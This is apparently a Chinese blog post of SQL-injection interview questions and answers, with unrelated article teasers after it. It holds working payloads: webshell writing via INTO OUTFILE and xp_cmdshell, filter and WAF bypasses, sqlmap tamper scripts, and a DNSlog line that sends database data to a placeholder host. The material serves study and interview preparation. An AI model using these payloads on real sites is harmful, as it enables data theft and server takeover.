SQL注入的那些面试题总结

server/2024/12/23 4:29:45/

一、知识储备类

sql与nosql的区别">1.SQL与NoSQL的区别？

SQL：关系型数据库
NoSQL：非关系型数据库

存储方式：SQL具有特定的结构表，NoSQL存储方式灵活
性能：NoSQL较优于SQL
数据类型：SQL适用结构化数据，如账号密码；NoSQL适用非结构化数据，如文章、评论

数据库">2.常见的关系型数据库？

mysql、sqlserver、oracle、access、sqlite、postgreSQL

数据库端口">3.常见的数据库端口？

关系型：

mysql:3306
sqlserver:1433
orecal:1521
PostgreSQL:5432
db2:50000

非关系型：

MongoDB:27017
redis:6379
memcached:11211

数据库的存储引擎">4.简述数据库的存储引擎

数据库存储引擎是数据库底层软件组织，数据库管理系统（DBMS）使用数据引擎进行创建、查询、更新和删除数据。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能，使用不同的存储引擎，还可以获得特定的功能。

InnoDB：主流的存储引擎，mysql默认存储引擎
MyISAM：查询、插入速度快，不支持事务
MEMORY：hash索引、BTREE索引

sql注入有哪几种注入类型">5.SQL注入有哪几种注入类型？

从注入参数类型分：数字型注入、字符型注入、搜索型注入
从注入方法分：基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入
从提交方式分：GET注入、POST注入、COOKIE注入、HTTP头注入

sql注入的危害及防御">6.SQL注入的危害及防御？

危害：

数据库泄露
数据库被破坏
网站崩溃
服务器被植入木马

防御：

代码层面对查询参数进行转义
预编译与参数绑定
利用WAF防御

sql注入怎么判断不同的数据库">7.如果存在SQL注入怎么判断不同的数据库？

根据报错信息判断
根据执行函数返回的结果判断，如len()和lenth()，version()和@@version等
根据注释符判断

sql的网站注入50以上和50以下有什么区别">8.mysql的网站注入，5.0以上和5.0以下有什么区别？

从sql注入的角度来说，mysql5.0以下版本没有information_schema这个系统库，无法列出表名列名，只能暴力跑

sql一个和两个什么区别">9.Mysql一个@和两个@什么区别

一个@是用户自定义变量
两个@是系统变量，如@@version、@@user

sql注入绕过常用的函数">10.MYSQL注入/绕过常用的函数

注入常用函数：

database() 返回当前数据库名
user() 返回当前数据库用户名
updatexml() 更新xml文档，常用于报错注入
mid() 从指定字段中提取出字段的内容
limit() 返回结果中的前几条数据或者中间的数据
concat() 返回参数产生的字符串
group_concat() 分组拼接函数
count() 返回指定参数的数目
rand() 参数0~1个随机数
flood() 向下取整
substr() 截取字符串
ascii() 返回字符串的ascii码
left() 返回字符串最左边指定个数的字符
ord() 返回字符的ascii码
length() 返回字符串长度
sleep() 延时函数

等价函数绕过，反之亦可：

group_concat() ==> concat_ws()
sleep() ==> benchmark()
mid()、substr() ==> substring()
user() ==> @@user
updatexml() ==> extractvalue()

11.UDF提权原理？

mysql支持用户自定义函数，将含有自定义函数的dll放入特定的文件夹，声明引入dll中的执行函数，使用执行函数执行系统命令

sql差异备份原理及条件">12.MSSQL差异备份原理及条件？

原理：

完整备份后，再次对数据库进行修改，差异备份会记录最后的LSN，将shell写入数据库，备份成asp即可getshell

条件：

MSSQL具有dbo或sa权限
支持堆叠查询
找到网站的绝对路径

二、实操技能类

sql注入写shell的条件用法">1.SQL注入写shell的条件，用法

条件：

当前用户具有dba权限
找到网站绝对路径
网站有可写目录
mysql的配置secure_file_priv为空

用法：
mysql:

id=1' and 1=2 union select 1,2,'shell内容' into outfile "绝对路径\shell.php" %23

sqlserver:

id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径\shell.asp' --

sql注入过滤了逗号怎么弄">2.sql注入过滤了逗号，怎么弄?

join绕过：

union select * from ((select 1)A join (select 2)B join (select 3)C join (select group_concat(user(),' ',database(),' ',@@datadir))D);

sql注入">3.sleep被禁用后还能怎么进行sql注入

benchmark代替sleep:

id=1 and if(ascii(substring((database()),1,1))=115,(select benchmark(10000000,md5(0x41))),1) --+

笛卡尔积盲注：

select * from ctf_test where user='1' and 1=1 and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C)

RLIKE盲注：

select * from flag where flag='1' and if(mid(user(),1,1)='r',concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+cd',1)

4.什么是宽字节注入？如何操作？

宽字节注入：

当php开启gpc或者使用addslashes函数时，单引号'被加上反斜杠\'，其中\的URL编码为%5C，我们传入%df'，等价于%df%5C'，此时若程序的默认字符集是GBK，mysql用GBK编码时会认为%df%5C是一个宽字符縗，于是%df%5C'便等价于縗'，产生注入。

操作：

id=1%df' and 1=2 union select 1,2,user(),4 %23

5.怎样进行盲注速度更快？

DNSlog盲注：

id=1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 1,1),'.your-dnslog.com\\cHr1s'))--+

6.什么是二次注入？

参数传入的恶意数据在传入时被转义，但是在数据库处理时又被还原并存储在数据库中，导致二次注入。

举例：

注册用户名admin'#用户，传入值为admin\'#，但是在存储数据库时值变为admin'#，此时若修改密码为123456，管理员admin密码就被修改为123456

sql注入常见的过waf方法">7.sql注入常见的过WAF方法？

内联注释绕过
填充大量脏数据绕过
垃圾参数填充绕过
改变提交方式绕过，如GET方式变为POST方式提交
随机agent头绕过
fuzz过滤函数，函数替换绕过

sqlmap如何编写tamper">8.sqlmap如何编写tamper？

tamper固定模板如下：

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW def dependencies(): passdef tamper(payload, **kwargs): pass

PROIORITY

用于定义tamper优先级，当调用多个tamper时生效，优先级如下，数值越大优先级越高

  • LOWEST = -100
  • LOWER = -50
  • LOW = -10
  • NORMAL = 0
  • HIGH = 10
  • HIGHER = 50
  • HIGHEST = 100

dependencies

用于提示用户tamper适用范围，具体代码如下：

from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
import os__priority__ = PRIORITY.LOWdef dependencies():singleTimeWarnMessage("过狗tamper '%s' 只针对 %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

DBMS.MYSQL代表MYSQL，其他数据库类推

Tamper

tamper关键函数，用于定义过滤规则，示例代码如下：

from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWdef tamper(payload, **kwargs):payload=payload.replace('AND','/*!29440AND*/')payload=payload.replace('ORDER','/*!29440order*/')payload=payload.replace('LIKE USER()','like (user/**/())')payload=payload.replace('DATABASE()','database/*!29440*/()')payload=payload.replace('CURRENT_USER()','CURRENT_USER/**/()')payload=payload.replace('SESSION_USER()','SESSION_USER(%0a)')payload=payload.replace('UNION ALL SELECT','union/*!29440select*/')payload=payload.replace('super_priv','/*!29440/**/super_priv*/')payload=payload.replace('and host=','/*!29440and*/host/*!11440=*/')payload=payload.replace('BENCHMARK(','BENCHMARK/*!29440*/(')payload=payload.replace('SLEEP(','sleep/**/(')return payload

fuzz出具体payload后对关键字符进行替换

将上述过程简单总结来回答hr问题即可


http://www.ppmy.cn/server/152406.html

相关文章

在 Spark 上实现 Graph Embedding

在 Spark 上实现 Graph Embedding

在 Spark 上实现 Graph Embedding 主要涉及利用大规模图数据来训练模型，以学习节点的低维表示（嵌入）。这些嵌入能够捕捉和反映图中的节点间关系，如社交网络的朋友关系或者物品之间的相似性。在 Spark 上进行这一任务，可…
阅读更多...
在 Spring Boot 3 中实现基于角色的访问控制

在 Spring Boot 3 中实现基于角色的访问控制

基于角色的访问控制 (RBAC) 是一种有价值的访问控制模型，可增强安全性、简化访问管理并提高效率。它在管理资源访问对安全和运营至关重要的复杂环境中尤其有益。 我们将做什么 我们有一个包含公共路由和受限路由的 Web API。受限路由需要数据库中用户的有效 JWT。 现在用户…
阅读更多...
智慧商城：点击“加入购物车”判断是否登录来进行跳转到登录页登录并回跳 + 发请求渲染加入购物车数量的角标

智慧商城：点击“加入购物车”判断是否登录来进行跳转到登录页登录并回跳 + 发请求渲染加入购物车数量的角标

点击“加入购物车”判断是否登录来进行跳转到登录页登录并回跳 按需引入需要的 Dialog 组件并进行全局注册 Vue.use( )仅仅在Vue组件的上下文中起作用，所以在Vue组件中通过 this.$ 来使用 在 js 文件中则还要导入，然后直接使用，并不需要 this…
阅读更多...
【ETCD】【Linearizable Read OR Serializable Read】ETCD 数据读取：强一致性 vs 高性能，选择最适合的读取模式

【ETCD】【Linearizable Read OR Serializable Read】ETCD 数据读取：强一致性 vs 高性能，选择最适合的读取模式

ETCD 提供了两种不同类型的读取操作方式，分别是 Linearizable Read（线性化读取）和 Serializable Read（可串行化读取）。这两种方式主要区分在读取数据时对一致性的要求不同。 目录 1. Linearizable Read（线…
阅读更多...
Sui 基金会任命 Christian Thompson 为新任负责人

Sui 基金会任命 Christian Thompson 为新任负责人

Sui 基金会是专注于推动 Sui 蓬勃发展的生态增长与采用的机构。近日，基金会宣布任命 Christian Thompson 为新任负责人。在 Sui 主网发布的开创性一年里，Sui 凭借其无与伦比的速度、可扩展性和效率，迅速崛起为领先的 Layer 1 区块链之一&…
阅读更多...
微信小程序支付/微信小程序+node服务 支付爬坑 v2

微信小程序支付/微信小程序+node服务 支付爬坑 v2

一、前端 小程序登录及支付请求和唤起支付界面 // app.js const {request} require(./assets/js/utils) // app.js App({onLaunch() {// 展示本地存储能力const logs wx.getStorageSync(logs) || []logs.unshift(Date.now())wx.setStorageSync(logs, logs)// 登录wx.login({s…
阅读更多...
电脑开机提示error loading operating system怎么修复？

电脑开机提示error loading operating system怎么修复？

前一天电脑还能正常运行，但今天启动时却显示“Error loading operating system”（加载操作系统错误）。我已经仔细检查了硬盘、接线、内存、CPU和电源，确认这些硬件都没有问题。硬盘在其他电脑上可以正常使用，说明不是硬…
阅读更多...
【从零开始入门unity游戏开发之——C#篇23】C#面向对象继承——`as`类型转化和`is`类型检查、向上转型和向下转型、里氏替换原则（LSP）

【从零开始入门unity游戏开发之——C#篇23】C#面向对象继承——`as`类型转化和`is`类型检查、向上转型和向下转型、里氏替换原则（LSP）

文章目录 一、as类型转化和is类型检查1、as 关键字使用场景：语法：示例：特点： 2、is 关键字使用场景：语法：示例：特点： 3、总结 二、向上转型和向下转型1、向上转型示例： 2…
阅读更多...
最新文章

Copyright @ 2022~2023